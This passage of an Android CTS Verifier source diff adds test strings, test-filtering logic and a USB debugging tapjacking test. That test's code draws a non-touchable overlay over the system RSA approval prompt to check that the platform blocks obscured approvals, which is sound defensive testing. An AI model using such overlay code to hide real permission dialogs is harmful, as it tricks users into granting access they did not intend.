- </string>
-
- <!-- This specific test is disabling keyguard/lock screen notifications, non-handheld devices may not support
- keyguard/lock screen notifciations and this may effectively be a no-op. -->
- <string name="disallow_keyguard_unredacted_notifications_set_step">
- NOTE: If the device does not support a keyguard or lock screen notifications, please pass the test
- using the green checkmark.\n
- Disallow unredacted notifications when device is locked by turning on the switch below
- </string>
-
- <!-- This specific test is disabling trust agents, non-handheld devices may not support trust agents and this may effectively be a no-op. -->
- <string name="provisioning_byod_disable_trust_agents_instruction">
- NOTE: If the device does not support trust agents, please mark the test as \"Pass\".\n
- Please press the Go button to go to Settings > Security. Then go to Trusted agents and\n
- check if the agents are shown as disabled by the administrator.
- Then please press Back and mark the test as \"Pass\" or \"Fail\".
- </string>
-
- <!-- This specific test is disabling keyguard notifications, non-handheld devices may not support keyguard and this may effectively be a no-op. -->
- <string name="device_admin_disable_notifications_instruction">
- NOTE: If the device does not support a keyguard, please mark the test as \"Pass\".\n
- Please press the Go button to lock the screen. Wait a few seconds to see
- if a notification appears. Expected result is no notifications appear.
- You should be able to see one after unlocking.
- </string>
-
- <!-- This specific test is disabling keyguard notifications, non-handheld devices may not support keyguard and this may effectively be a no-op. -->
- <string name="device_admin_disable_unredacted_notifications_instruction">
- Note: If the device does not support a keyguard, please mark the test as \"Pass"\.\n
- Please press the Go button to lock the screen. Wait a few seconds to see
- if a notification appears. Expected result is a notification appear with
- its content hidden. You should be able to see the content after unlocking.
- </string>
-
- <!-- This specific test is setting a lock screen message, non-handheld devices may not support lock scren messages
- and this may effectively be a no-op. -->
- <string name="lock_screen_info_set_step">
- NOTE: If the device does not support lock screen messages, pass the test using the green checkmark. \n
- Select a lock screen info by setting a non-empty message in the edittext below.
- </string>
-
- <!-- This specific test is setting permitted accessibilty features, non-handheld devices may not support accessibility features and this may effectively be a no-op. -->
- <string name="permitted_accessibility_services_set_step">
- NOTE: If the device does not support accessibility features, please pass the test using the green check mark.\n
- Check that \'Dummy Accessibility service\' is not enabled in Settings and disallow \'Dummy Accessibility service\' from permitted accessibility services by turning on
- the switch below.
- </string>
-
- <!-- This specific test is disabling volume changes via audio settings.
- Non-handheld devices may not support an audio settings page and this may effectively be a no-op. -->
- <string name="disallow_adjust_volume_action">
- NOTE: If the device does not support an audio settings page, please pass the test using the green checkmark.\n
- Adjusting the volume
- </string>
-
- <!-- Non-handheld devices may not support a keyguard and this test may effectively be a no-op. -->
- <string name="enterprise_privacy_keyguard_info">
- NOTE: If the device does not support a keyguard, please pass the test using the green checkmark.\n
- Please do the following:\n
- 1) Press the Go button to open Settings.\n
- 2) Navigate to \"Security\" > \"Screen lock\" and select the first screen lock type that is not \"None\".\n
- 3) Use the Back button to return to this page.\n
- 4) Lock the device.\n
- 5) Verify that on the lock screen, you are not told the device is managed.\n
- 6) Unlock the device.\n
- 7) Repeat steps (1) through (6) for each screen lock type other than \"None\".
- </string>
-
- <!-- Non-handheld devices may not support quicksettings and this test may effectively be a no-op. -->
- <string name="enterprise_privacy_quick_settings_info">
- NOTE: If the device does not support quick settings, please pass the test using the green check mark. \n
- Please do the following:\n
- 1) Press the Clear Org button.\n
- 2) Open and fully expand Quick Settings.\n
- 3) Verify that at the bottom of Quick Settings, you are told the device is managed.\n
- 4) Close Quick Settings.\n
- 5) Press the Set Org button.\n
- 6) Open and fully expand Quick Settings.\n
- 7) Verify that at the bottom of Quick Settings, you are told the device is managed by \"Foo, Inc.\".\n
- 8) Tap on the information.\n
- 9) Verify that a dialog informing you about device monitoring opens.\n
- 10) Tap the \"Learn more\" link.\n
- 11) Verify that a screen informing you what your managing organization can do is shown.\n
- \n
- Use the Back button to return to this page.
- </string>
-
- <!-- Non-handheld devices may not support quicksettings but still should be able to validate the API via
- the notification section. -->
- <string name="device_owner_network_logging_ui_info">
- Please do the following:\n
- NOTE: If the device does not support quick settings, please only check the notifications section.\n
- 1) Open and fully expand Quick Settings.\n
- 2) Check that you are told that your device is managed.\n
- 3) Close Quick Settings.\n
- 4) Enable network logging by tapping on the left button below.\n
- 5) Open Quick Settings again. Check that an icon appeared next to the text about device management.\n
- 6) Verify that a notification including the same icon popped up, informing you that network logging has been enabled.\n
- 7) Tap the notification.\n
- 8) Verify that a dialog about device monitoring opens, and informs you about: the name of the app that manages this device, details about the device owner\'s capabilities, and information that the admin has activated network logging and can see all network traffic.\n
- 9) Close the dialog.\n
- 10) Tap the right button below to disable network logging.\n
- 11) Verify that the notification disappeared.\n
- </string>
-
- <!-- This specific test is disabling keyguard's managed device message,
- non-handheld devices may not support keyguard and this may effectively be a no-op. -->
- <string name="enterprise_privacy_keyguard_negative_info">
- NOTE: If the device does not support a keyguard, please pass the test using the green checkmark.\n
- Please do the following:\n
- 1) Press the Go button to open Settings.\n
- 2) Navigate to \"Security\" > \"Screen lock\" and select the first screen lock type that is not \"None\".\n
- 3) Use the Back button to return to this page.\n
- 4) Lock the device.\n
- 5) Verify that on the lock screen, you are not told the device is managed.\n
- 6) Unlock the device.\n
- 7) Repeat steps (1) through (6) for each screen lock type other than \"None\".
- </string>
-
- <!-- This specific test is disabling quicksetting's managed device message,
- non-handheld devices may not support quicksettings and this may effectively be a no-op. -->
- <string name="enterprise_privacy_quick_settings_negative_info">
- NOTE: If the device does not support a Quick Settings, please pass the test using the green checkmark.\n
- Please do the following:\n
- 1) Open and fully expand Quick Settings.\n
- 2) Verify that at the bottom of Quick Settings, you are not told the device is managed.\n
- 3) Close Quick Settings.
- </string>
-
- </resources>
\ No newline at end of file
+</resources>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index fa8c4a4..b210d33 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -557,6 +557,7 @@
<string name="location_gnss_measure_no_location_test">GNSS Measurement Before Location Test</string>
<string name="location_gnss_reg_test">GNSS Measurement Registration Test</string>
<string name="location_gnss_value_test">GNSS Measurement Values Test</string>
+ <string name="location_pseudorange_value_test">GNSS Pseudorange Test</string>
<string name="location_gnss_ttff_test">GNSS TTFF Test</string>
<string name="location_gnss_nav_msg_test">GNSS Navigation Message Test</string>
<string name="location_gnss_status_test">GNSS Status Test</string>
@@ -957,6 +958,23 @@
<string name="sample_test">Sample Test</string>
<string name="sample_test_info">This test verifies that bluetooth sharing is working properly.\nThe test assumes the Device Under Test has bluetooth enabled and is already paired with a second device, also with bluetooth enabled.\nStart this test by clicking share, choose bluetooth from the options, and then select a device to share with.\nNote: This is a sample test, used to demonstrate how to write CTS Verifier tests, so just click pass.</string>
+ <!-- Strings for UsbDebuggingDialogTapjackingTest -->
+ <string name="usb_tapjacking_button_text">Show overlay</string>
+ <string name="usb_tapjacking_test">Usb Debugging Dialog Tapjacking Test</string>
+ <string name="usb_tapjacking_test_info">This test verifies that tapjacking on the usb dialog is not possible by disallowing users from accepting usb debugging pemissions when dialog is obscured.</string>
+ <string name="usb_tapjacking_test_instructions">
+ 1. Connect device via usb to computer.\n
+ 2. Click \"Show overlay\" button. Settings may appear if the CTS Verifier app doesn\'t have display over apps permission. Enable this permission and then click back to navigate back to the app.\n
+ 3. Trigger USB debugging dialog (from computer terminal): \"adb shell am start -e fingerprints placeholder -e key placeholder com.android.systemui/.usb.UsbDebuggingActivity\"\n
+ 4. USB debugging dialog should appear with the overlay on top saying \"This message covers the USB debugging RSA prompt\" to appear.\n
+ 5. Try clicking OK. \n
+ Test pass if you cannot click OK when the text quoted above is on top of the USB debugging dialog. Toast should appear saying there is an overlay so Settings cannot verify your response. \n
+ Note: Fake message overlay may remain on screen until you leave the test. This is working as intended. \n
+ </string>
+ <string name="usb_tapjacking_overlay_message">This message covers the USB debugging RSA prompt</string>
+ <string name="usb_tapjacking_error_toast">Please restart the application and try again.</string>
+ <string name="usb_tapjacking_error_toast2">Please enable display over apps permission for this application before proceeding.</string>
+
<!-- Strings for Camera Orientation -->
<string name="camera_orientation">Camera Orientation</string>
<string name="co_info">This test verifies the orientation capabilities of
@@ -1488,11 +1506,29 @@
<string name="attention_info">This test checks that the NotificationManagerService is
respecting user preferences about notification ranking and filtering.
</string>
+ <string name="ringer_mode_tests">Ringer Mode Tests</string>
+ <string name="ringer_mode_info">This test checks that Audio manager functionality that requires
+ particular ringer mode states works properly.
+ </string>
+ <string name="ringer_mode_pass_test">These tests are handled by CTS.</string>
+ <string name="test_sound_effects">Test sound effects</string>
+ <string name="test_vibrate_notification">Test vibrate notification</string>
+ <string name="test_vibrate_ringer">Test vibrate ringer</string>
+ <string name="test_access_ringer_mode">Test access ringer mode</string>
+ <string name="test_ringer_mode_policy_access">Test ringer mode policy access</string>
+ <string name="test_volume_dnd_affected_stream">Test volume change</string>
+ <string name="test_mute_dnd_affected_streams">Test mute streams</string>
+ <string name="test_ringer_manager">Test RingtoneManager</string>
+ <string name="enable_sound_effects">Please enable sound effects in Sound settings.</string>
+
<string name="attention_ready">I\'m done</string>
+ <string name="attention_filter_any">Please enable \"Do not disturb\" by tapping the Quick Settings tile.</string>
<string name="attention_filter_all">Please disable \"Do not disturb\" by tapping the Quick Settings tile.</string>
<string name="attention_filter_priority">Please select \"Priority only\" in the dialog that appears
when you tap the \"Do not disturb\" tile in Quick Settings, and customize the setting to allow messages from
starred contacts only by tapping "More settings".</string>
+ <string name="attention_filter_alarms">Please select \"Alarms only\" in the dialog that appears
+ when you tap the \"Do not disturb\" tile in Quick Settings.</string>
<string name="attention_filter_none">Please select \"Total silence\" in the dialog that appears
when you tap the \"Do not disturb\" tile in Quick Settings.</string>
<string name="attention_create_contacts">Create contacts for notification annotations.</string>
@@ -1544,6 +1580,8 @@
under Apps > Gear Icon > Default > Notification Assistant and return here.</string>
<string name="nls_enable_service">Please enable \"Notification Listener for CTS Verifier\"
under Apps > Gear Icon > Special Access > Notification Access and return here.</string>
+ <string name="nls_cannot_enable_service">Please make sure you cannot enable
+ \"Notification Listener for CTS Verifier\" and return here.</string>
<string name="nls_disable_service">Please disable \"Notification Listener for CTS Verifier\"
under Apps > Gear Icon > Special Access > Notification Access and return here.</string>
<string name="nls_start_settings">Launch Settings</string>
@@ -1573,10 +1611,11 @@
<string name="nas_note_missed_enqueued">Check that notification was not enqueued.</string>
<string name="cp_test">Condition Provider test</string>
<string name="cp_service_name">Condition Provider for CTS Verifier</string>
- <string name="cp_info">This test checks that a ConditionProviderService can be enabled
+ <string name="cp_info">This test checks that on non-low ram a ConditionProviderService can be enabled
and disabled, and that once enabled the service is able to create, query, edit, and delete
- automatic zen rules.
+ automatic zen rules. On low ram devices condition providers should not be bound.
</string>
+ <string name="cp_cannot_enable_service">Please make sure you cannot enable \"CTS Verifier\" under Do Not Disturb access and return here.</string>
<string name="cp_enable_service">Please enable \"CTS Verifier\" under Do Not Disturb access and return here.</string>
<string name="cp_disable_service">Please disable \"CTS Verifier\" under Do Not Disturb access and return here.</string>
<string name="cp_start_settings">Launch Settings</string>
@@ -1697,7 +1736,7 @@
2. If \'Cts Verifier\' is not allowed to install apps, a warning dialog will appear
blocking the install. In this case go to step 3, else skip to step 4.\n
3. Allow \'Cts Verifier\' to install apps. Return to package installer.\n
- 4. Accept the package and verify that it installs.
+ 4. Accept the installation and verify that it succeeds (no error message is displayed).
</string>
<string name="provisioning_byod_nonmarket_deny">Disable non-market apps</string>
@@ -1763,6 +1802,66 @@
<string name="provisioning_byod_lockscreen_bound_key">Lockscreen-bound key test</string>
<string name="provisioning_byod_fingerprint_bound_key">Fingerprint-bound key test</string>
<string name="provisioning_byod_vpn">VPN test</string>
+ <string name="provisioning_byod_always_on_vpn">Always-on VPN Settings</string>
+ <string name="provisioning_byod_always_on_vpn_info">
+ In this test, you\'ll verify that the Settings UI for always-on VPN is correct for different
+ VPN apps.
+ </string>
+ <string name="provisioning_byod_always_on_vpn_instruction">
+ In this test, you\'ll verify the Settings UI for always-on VPN for different VPN apps.
+ You should have received three VPN app apks with this CTS Verifier package.
+ They\'re named in the form of \"CtsVpnFirewallApp*.apk\".\n
+
+ 1. Before the test, make sure CtsVpnFirewallApp isn\'t installed on your device. You can
+ uninstall either by UI, or by\n
+ \"adb uninstall com.android.cts.vpnfirewall\"\n
+
+ 2. Install the first test app, by running\n
+ \"adb install /path/to/CtsVpnFirewallAppApi23.apk\"\n
+
+ 3. Tap \"Prepare VPN\" button below and consent to the VPN connection.\n
+
+ 4. Finish all three test cases listed below.\n
+
+ 5. Repeat step 1 to remove CtsVpnFirewallApp.
+ </string>
+ <string name="provisioning_byod_always_on_vpn_prepare_button">Prepare VPN</string>
+ <string name="provisioning_byod_always_on_vpn_vpn_not_found_note">
+ Can\'t find VPN app. Did you install it correctly?
+ </string>
+ <string name="provisioning_byod_always_on_vpn_api23">VPN app targeting SDK 23</string>
+ <string name="provisioning_byod_always_on_vpn_api23_instruction">
+ 1. Re-install CtsVpnFirewallAppApi23.apk (skip this if you already have the correct version
+ installed):\n
+ \"adb install -r /path/to/CtsVpnFirewallAppApi23.apk\"\n
+ 2. Tap \"Go\" button below to go to the VPN settings page.\n
+ 3. Open configuration details page for CtsVpnFirewallApp.\n
+ 4. Confirm the \"Always-on VPN\" and \"Block connections without VPN\" switches are both off
+ and disabled.\n
+ </string>
+ <string name="provisioning_byod_always_on_vpn_api24">VPN app targeting SDK 24</string>
+ <string name="provisioning_byod_always_on_vpn_api24_instruction">
+ 1. Re-install CtsVpnFirewallAppApi24.apk (skip this if you already have the correct version
+ installed):\n
+ \"adb install -r /path/to/CtsVpnFirewallAppApi24.apk\"\n
+ 2. Tap \"Go\" button below to go to the VPN settings page.\n
+ 3. Open configuration details page for CtsVpnFirewallApp.\n
+ 4. Confirm\n
+ 4.1. \"Always-on VPN\" switch is enabled and in off position\n
+ 4.2. \"Block connections without VPN\" switch is disabled and in off position\n
+ 4.3. \"Block connections without VPN\" becomes enabled once the \"Always-on VPN\" switch
+ is turned on\n
+ </string>
+ <string name="provisioning_byod_always_on_vpn_not_always_on">VPN app with opt-out</string>
+ <string name="provisioning_byod_always_on_vpn_not_always_on_instruction">
+ 1. Re-install CtsVpnFirewallAppNotAlwaysOn.apk (skip this if you already have the correct
+ version installed):\n
+ \"adb install -r /path/to/CtsVpnFirewallAppNotAlwaysOn.apk\"\n
+ 2. Tap \"Go\" button below to go to the VPN settings page.\n
+ 3. Open configuration details page for CtsVpnFirewallApp.\n
+ 4. Confirm the \"Always-on VPN\" and \"Block connections without VPN\" switches are both off
+ and disabled.\n
+ </string>
<string name="provisioning_byod_select_work_challenge">Select work lock test</string>
<string name="provisioning_byod_select_work_challenge_description">
This test verifies that a work lock can be chosen.\n
@@ -1798,7 +1897,8 @@
This test verifies that if a work profile is locked with a separate password, Recents views
for applications in the work profile are redacted.\n
Some devices may not lock as soon as the screen is turned off by default. On such devices,
- use the button below when requested to lock the work profile.
+ use the button below when requested to lock the work profile. Please skip these tests if
+ "Recents" is absent.
</string>
<string name="provisioning_byod_recents_lock_now">Lock now</string>
@@ -1920,7 +2020,7 @@
<string name="pca_info">This tests whether or not OpenGL projection works.\n
You should see two "tumbling cubes." Tapping the screen should cause the cubes to explode.</string>
<string name="pca_test">Projection Cube Test</string>
- <string name="pwa_info">This tests whether or displaying widets and keyfocus navigation works.\n
+ <string name="pwa_info">This tests whether or displaying widgets and keyfocus navigation works.\n
You should see four buttons on the bottom of the screen.\n
Pressing the "up" and "down" buttons should highlight different buttons.\n
Furthermore, the highlight should disappear when any button is touched, and the touched button should behave as usual.\n</string>
@@ -1958,7 +2058,10 @@
<string name="device_admin_keyguard_disable_camera">Disable camera</string>
<string name="device_admin_keyguard_disable_camera_instruction">
Please press the Go button to lock the screen. Expected result is you cannot
- see the camera icon on the lower right corner of the screen, or if there is one, you cannot open the camera using it before you are asked for a password.
+ see the camera icon on the lower right corner of the screen, or if there is one, you cannot
+ open the camera using it before you are asked for a password.\n
+ Also, it shouldn\'t be possible to open the camera on the lockscreen by
+ any other device specific gesture (such as double press on power button).
</string>
<string name="device_admin_disable_notifications">Disable notifications</string>
<string name="device_admin_disable_notifications_instruction">
@@ -2465,7 +2568,9 @@
Please do the following:\n
1) Open and fully expand Quick Settings.\n
2) Verify that at the bottom of Quick Settings, you are not told the device is managed.\n
- 3) Close Quick Settings.
+ 3) Close Quick Settings.\n
+ \n
+ If this device does not have quick settings, please skip this test and mark it passing
</string>
<string name="enterprise_privacy_keyguard_negative">Keyguard disclosure</string>
<string name="enterprise_privacy_keyguard_negative_info">
@@ -2877,7 +2982,10 @@
<string name="disallow_config_mobile_networks">Disallow config mobile networks</string>
<string name="disallow_config_mobile_networks_action">Configuring mobile networks</string>
<string name="disallow_config_tethering">Disallow config tethering</string>
- <string name="disallow_config_tethering_action">Configuring tethering and portable hotspots</string>
+ <string name="disallow_config_tethering_action">
+ Configuring tethering and portable hotspots.\n
+ NOTE: If the device does not support tethering please skip this test and mark it as passing.\n
+ </string>
<string name="disallow_config_wifi">Disallow config Wi-Fi</string>
<string name="disallow_config_wifi_action">Modifying Wi-Fi configuration</string>
<string name="disallow_debugging_features">Disallow debugging features</string>
@@ -2895,9 +3003,9 @@
<string name="disallow_outgoing_beam">Disallow outgoing beam</string>
<string name="disallow_outgoing_beam_action">Switching on android beam</string>
<string name="disallow_remove_user">Disallow remove user</string>
- <string name="disallow_remove_user_action">Removing other users</string>
+ <string name="disallow_remove_user_action">Removing other users (please create a user and attempt to remove it to verify)</string>
<string name="disallow_remove_managed_profile">Disallow remove managed profile</string>
- <string name="disallow_remove_managed_profile_action">Removing the work profile. It shouldn\'t be possible neither from the Accounts screen nor the Device Administrators screen (after selecting the Device Administrator that corresponds to the badged version of \"CTS Verifier\"). You may not be able to observe a support dialog in the latter case.</string>
+ <string name="disallow_remove_managed_profile_action">Removing the work profile. It shouldn\'t be possible neither from the Accounts screen nor the Device Administrators screen (after selecting the Device Administrator that corresponds to the badged version of \"CTS Verifier\")</string>
<string name="disallow_share_location">Disallow share location</string>
<string name="disallow_share_location_action">Turning on location sharing</string>
<string name="disallow_uninstall_apps">Disallow uninstall apps</string>
@@ -3203,7 +3311,7 @@
10) Tap the \"Learn more\" link.\n
11) Verify that a screen informing you what your managing organization can do is shown.\n
\n
- Use the Back button to return to this page.
+ Use the Back button to return to this page. If this device does not have quick settings, please skip this test and mark it passing.
</string>
<string name="enterprise_privacy_keyguard">Keyguard disclosure</string>
<string name="enterprise_privacy_keyguard_info">
@@ -3251,6 +3359,8 @@
9) Close the dialog.\n
10) Tap the right button below to disable network logging.\n
11) Verify that the notification disappeared.\n
+ \n
+ If this device does not have quick settings, please skip this test and mark it passing.
</string>
<string name="device_owner_enable_network_logging_button">Enable Network Logging</string>
<string name="device_owner_disable_network_logging_button">Disable Network Logging</string>
@@ -3844,8 +3954,8 @@
</string-array>
<!-- Strings for setting and restoring default dialer for voicemail tests -->
- <string name="voicemail_restore_default_dialer_description">(Optional) restore the default dialer setting</string>
- <string name="voicemail_restore_default_dialer_no_default_description">(Optional) restore the default dialer by going to settings-> apps -> cogwheel -> Phone app</string>
+ <string name="voicemail_restore_default_dialer_description">Restore the default dialer setting</string>
+ <string name="voicemail_restore_default_dialer_no_default_description">Restore the default dialer by going to settings-> apps -> cogwheel -> Phone app</string>
<string name="voicemail_restore_default_dialer_button">Restore the default dialer"</string>
<string name="voicemail_default_dialer_already_set">Default dialer already set</string>
<string name="voicemail_default_dialer_already_restored">Default dialer already restored</string>
diff --git a/apps/CtsVerifier/res/xml/accessory_filter.xml b/apps/CtsVerifier/res/xml/accessory_filter.xml
index 4a1d779..ee25a0e 100644
--- a/apps/CtsVerifier/res/xml/accessory_filter.xml
+++ b/apps/CtsVerifier/res/xml/accessory_filter.xml
@@ -14,5 +14,6 @@
limitations under the License.
-->
<resources>
- <usb-accessory />
+ <usb-accessory manufacturer="Android CTS" model="Android CTS test companion device"
+ version="2" />
</resources>
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
index 44e2e0f..a339a43 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
@@ -22,6 +22,7 @@
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
import android.os.Bundle;
+import android.telephony.TelephonyManager;
import android.util.Log;
import android.widget.ListView;
@@ -99,6 +100,10 @@
private static final String TEST_APPLICABLE_FEATURES_META_DATA = "test_applicable_features";
+ private static final String TEST_REQUIRED_CONFIG_META_DATA = "test_required_configs";
+
+ private static final String CONFIG_VOICE_CAPABLE = "config_voice_capable";
+
private final HashSet<String> mDisabledTests;
private Context mContext;
@@ -188,10 +193,11 @@
String testName = info.activityInfo.name;
Intent intent = getActivityIntent(info.activityInfo);
String[] requiredFeatures = getRequiredFeatures(info.activityInfo.metaData);
+ String[] requiredConfigs = getRequiredConfigs(info.activityInfo.metaData);
String[] excludedFeatures = getExcludedFeatures(info.activityInfo.metaData);
String[] applicableFeatures = getApplicableFeatures(info.activityInfo.metaData);
TestListItem item = TestListItem.newTest(title, testName, intent, requiredFeatures,
- excludedFeatures, applicableFeatures);
+ requiredConfigs, excludedFeatures, applicableFeatures);
String testCategory = getTestCategory(mContext, info.activityInfo.metaData);
addTestToCategory(testsByCategory, testCategory, item);
@@ -229,6 +235,19 @@
}
}
+ static String[] getRequiredConfigs(Bundle metaData) {
+ if (metaData == null) {
+ return null;
+ } else {
+ String value = metaData.getString(TEST_REQUIRED_CONFIG_META_DATA);
+ if (value == null) {
+ return null;
+ } else {
+ return value.split(":");
+ }
+ }
+ }
+
static String[] getExcludedFeatures(Bundle metaData) {
if (metaData == null) {
return null;
@@ -305,10 +324,29 @@
return true;
}
+ private boolean matchAllConfigs(String[] configs) {
+ if (configs != null) {
+ TelephonyManager telephonyManager =
+ (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE);
+ for (String config : configs) {
+ switch(config) {
+ case CONFIG_VOICE_CAPABLE:
+ if (!telephonyManager.isVoiceCapable()) {
+ return false;
+ }
+ default:
+ break;
+ }
+ }
+ }
+ return true;
+ }
+
List<TestListItem> filterTests(List<TestListItem> tests) {
List<TestListItem> filteredTests = new ArrayList<TestListItem>();
for (TestListItem test : tests) {
- if (!hasAnyFeature(test.excludedFeatures) && hasAllFeatures(test.requiredFeatures)) {
+ if (!hasAnyFeature(test.excludedFeatures) && hasAllFeatures(test.requiredFeatures)
+ && matchAllConfigs(test.requiredConfigs)) {
if (test.applicableFeatures == null || hasAnyFeature(test.applicableFeatures)) {
filteredTests.add(test);
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
index 642b951..d9ea84f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
@@ -91,6 +91,9 @@
/** Features necessary to run this test. */
final String[] requiredFeatures;
+ /** Configs necessary to run this test. */
+ final String[] requiredConfigs;
+
/** Features such that, if any present, the test gets excluded from being shown. */
final String[] excludedFeatures;
@@ -117,20 +120,27 @@
}
public static TestListItem newTest(String title, String testName, Intent intent,
+ String[] requiredFeatures, String[] requiredConfigs, String[] excludedFeatures,
+ String[] applicableFeatures) {
+ return new TestListItem(title, testName, intent, requiredFeatures, requiredConfigs,
+ excludedFeatures, applicableFeatures);
+ }
+
+ public static TestListItem newTest(String title, String testName, Intent intent,
String[] requiredFeatures, String[] excludedFeatures, String[] applicableFeatures) {
- return new TestListItem(title, testName, intent, requiredFeatures, excludedFeatures,
+ return new TestListItem(title, testName, intent, requiredFeatures, null, excludedFeatures,
applicableFeatures);
}
public static TestListItem newTest(String title, String testName, Intent intent,
String[] requiredFeatures, String[] excludedFeatures) {
- return new TestListItem(title, testName, intent, requiredFeatures, excludedFeatures,
+ return new TestListItem(title, testName, intent, requiredFeatures, null, excludedFeatures,
null);
}
public static TestListItem newTest(String title, String testName, Intent intent,
String[] requiredFeatures) {
- return new TestListItem(title, testName, intent, requiredFeatures, null, null);
+ return new TestListItem(title, testName, intent, requiredFeatures, null, null, null);
}
public static TestListItem newCategory(Context context, int titleResId) {
@@ -138,15 +148,22 @@
}
public static TestListItem newCategory(String title) {
- return new TestListItem(title, null, null, null, null, null);
+ return new TestListItem(title, null, null, null, null, null, null);
}
protected TestListItem(String title, String testName, Intent intent,
String[] requiredFeatures, String[] excludedFeatures, String[] applicableFeatures) {
+ this(title, testName, intent, requiredFeatures, null, excludedFeatures, applicableFeatures);
+ }
+
+ protected TestListItem(String title, String testName, Intent intent,
+ String[] requiredFeatures, String[] requiredConfigs, String[] excludedFeatures,
+ String[] applicableFeatures) {
this.title = title;
this.testName = testName;
this.intent = intent;
this.requiredFeatures = requiredFeatures;
+ this.requiredConfigs = requiredConfigs;
this.excludedFeatures = excludedFeatures;
this.applicableFeatures = applicableFeatures;
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/UsbTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/UsbTest.java
new file mode 100644
index 0000000..17319d6
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/UsbTest.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.admin.tapjacking;
+
+import android.content.Intent;
+import android.graphics.PixelFormat;
+import android.os.Bundle;
+import android.provider.Settings;
+import android.util.TypedValue;
+import android.view.Gravity;
+import android.view.View;
+import android.view.ViewGroup;
+import android.view.WindowManager;
+import android.widget.Button;
+import android.widget.Toast;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+public class UsbTest extends PassFailButtons.Activity {
+ private View mOverlay;
+ private Button mTriggerOverlayButton;
+
+ public static final String LOG_TAG = "UsbTest";
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.tapjacking);
+ setPassFailButtonClickListeners();
+ setInfoResources(R.string.usb_tapjacking_test,
+ R.string.usb_tapjacking_test_info, -1);
+
+ //initialise the escalate button and set a listener
+ mTriggerOverlayButton = (Button) findViewById(R.id.tapjacking_btn);
+ mTriggerOverlayButton.setEnabled(true);
+ mTriggerOverlayButton.setOnClickListener(new View.OnClickListener() {
+ @Override
+ public void onClick(View v) {
+ if (!Settings.canDrawOverlays(v.getContext())) {
+ // show settings permission
+ startActivity(new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION));
+ }
+
+ if (!Settings.canDrawOverlays(v.getContext())) {
+ Toast.makeText(v.getContext(), R.string.usb_tapjacking_error_toast2,
+ Toast.LENGTH_LONG).show();
+ return;
+ }
+ showOverlay();
+ }
+ });
+ }
+
+ private void showOverlay() {
+ if (mOverlay != null)
+ return;
+
+ WindowManager windowManager = (WindowManager) getApplicationContext().
+ getSystemService(WINDOW_SERVICE);
+ WindowManager.LayoutParams layoutParams = new WindowManager.LayoutParams(
+ WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
+ WindowManager.LayoutParams.FLAG_FULLSCREEN
+ | WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+ | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
+ | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE
+ | WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED
+ );
+ layoutParams.format = PixelFormat.TRANSLUCENT;
+ layoutParams.width = ViewGroup.LayoutParams.MATCH_PARENT;
+ layoutParams.height = ViewGroup.LayoutParams.WRAP_CONTENT;
+ layoutParams.x = 0;
+ layoutParams.y = dipToPx(-46);
+ layoutParams.gravity = Gravity.CENTER;
+ layoutParams.windowAnimations = 0;
+
+ mOverlay = View.inflate(getApplicationContext(), R.layout.usb_tapjacking_overlay,
+ null);
+ windowManager.addView(mOverlay, layoutParams);
+ }
+
+ private void hideOverlay() {
+ if (mOverlay != null) {
+ WindowManager windowManager = (WindowManager) getApplicationContext().getSystemService(
+ WINDOW_SERVICE);
+ windowManager.removeViewImmediate(mOverlay);
+ mOverlay = null;
+ }
+ }
+
+ private int dipToPx(int dip) {
+ return Math.round(TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP, dip,
+ getResources().getDisplayMetrics()));
+ }
+
+ @Override
+ public void onStop() {
+ super.onStop();
+ hideOverlay();
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencySpeakerActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencySpeakerActivity.java
index c15e556..294e48d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencySpeakerActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencySpeakerActivity.java
@@ -51,12 +51,9 @@
import android.widget.LinearLayout;
import android.widget.ProgressBar;
-import com.android.compatibility.common.util.CddTest;
-
/**
* Tests Audio Device roundtrip latency by using a loopback plug.
*/
-@CddTest(requirement="7.8.2/C-1-1")
public class AudioFrequencySpeakerActivity extends AudioFrequencyActivity implements Runnable,
